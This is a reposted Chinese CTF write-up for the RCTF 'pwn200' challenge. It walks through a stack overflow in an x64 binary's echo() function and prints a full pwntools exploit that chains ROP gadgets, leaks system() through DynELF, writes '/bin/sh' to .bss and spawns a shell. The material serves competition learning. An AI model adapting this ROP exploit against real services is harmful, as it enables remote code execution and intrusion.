[RCTF]Pwn200 wp


0x00:

XCTF開賽了,只看了pwn,這次還比較有意思,有x86  x64  arm mips 多種cpu構架的pwn。自己只搞出了pwn200

 

0x01:

基本信息:

x64 動態鏈接 有調試符號(怪不得是最簡單的...)  

開啟的保護如圖可以看到。

運行下,隨便給點輸入:

 

經過分析,發現問題出在echo()函數

而且這個bof的payload大概的格式:

payload = "A"*24+"BBBBBB"+"\x00\x00"

 

0x02:

  思路就是 利用構造的ROP鏈先去 leak 遠程服務器上libc里的system地址,然后利用ROP鏈再次把 "/bin/sh" 和system()地址 寫入程序的.bss段,最后再次利用ROP鏈去執行 system("/bin/sh")

  但是要注意:x64的函數調用 參數傳遞順序是 RDI  RSI  RDX  RCX  R8  R9 之后的參數才用棧傳遞。

  在IDA中看下

  

  我們可以利用 pwntools的 去得到程序中write()read()這些系統調用的got,用來構造ROP。這時候要使用的是 通用型的ropgads,因為源程序中並沒有一些輔助性的東西。

在初始化libc的時候,這些指令可以為我們所用來構造ROP,設置好參數。 

因為也沒有給libc,所以要leak libc中的函數地址,pwntools的dynELF很好用。

 

0x03:

exp 如下

#!/usr/bin/env python
# coding=utf-8
# author:muhe
# http://www.cnblogs.com/0xmuhe/
from pwn import *

elf = ELF('./pwn200')
p=remote('127.0.0.1',6666)
#p = remote('180.76.178.48',6666)
#p = process('./pwn200')
addr1=0x40089A
addr2=0x400880
main_addr = 0x4007CD
ppppr=0x40089c
bss_addr=0x601078
got_write = elf.got['write']
got_read = elf.got['read']


flag=True
def leak(address):
    global flag
    junk = "A"*24
    p1=""
    p1+=junk
    p1+=p64(ppppr)
    p1+=p64(addr1)
    p1+=p64(0)+p64(1)+p64(got_write)+p64(8)+p64(address)+p64(1)
    p1+=p64(addr2)
    p1+="\x00"*56
    p1+=p64(main_addr)
    p.recvuntil('F\n')
    p.send(p1)
    #raw_input()
    if flag:
        data = p.recv(8)
        flag=False
    else:
        p.recv(0x1b)
        data = p.recv(8)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

d = DynELF(leak, elf=ELF('./pwn200'))
system_addr = d.lookup('system','libc')
print "system_addr=" + hex(system_addr)


#----------------write /bin/sh to .bss-----------------#
junk = "A"*24
payload=""
payload+=junk
payload+=p64(ppppr)
payload+=p64(addr1)
payload+=p64(0)+p64(1)+p64(got_read)+p64(24)+p64(bss_addr)+p64(0)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload+=p64(addr2)
payload+="\x00"*56
payload+=p64(main_addr)

p.recvuntil('F\n')
print "payload 1 ...."
#raw_input()
p.send(payload)
sleep(1)
p.send("AAAABBBB")
p.send("/bin/sh\0")
p.send(p64(system_addr))
#raw_input()
print "sent .."
#raw_input()
sleep(1)

#-----------------get shell --------------------------#
junk = "A"*24
payload2=""
payload2+=junk
payload2+=p64(ppppr)
payload2+=p64(addr1)
payload2+=p64(0)+p64(1)+p64(bss_addr+16)+p64(1)+p64(1)+p64(bss_addr+8)
#    addr_junk_rbx_rbp_r12_r13_r14_r15
#order:RDI  RSI  RDX  RCX  R8  R9
payload2+=p64(addr2)
payload2+="\x00"*56
payload2+=p64(main_addr)

p.recvuntil('F\n')
#raw_input()
print "payload 2 ...."
p.send(payload2)
print "ok get shell"

p.interactive()

  

打了一波本地

后來遇到個問題,exp打本地,或者是socket搭建起來的都可以打,但是遠程服務器打不了。 - -#  尷尬

 

0x04: 

  算是學習了一波吧,有收獲就是好的。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM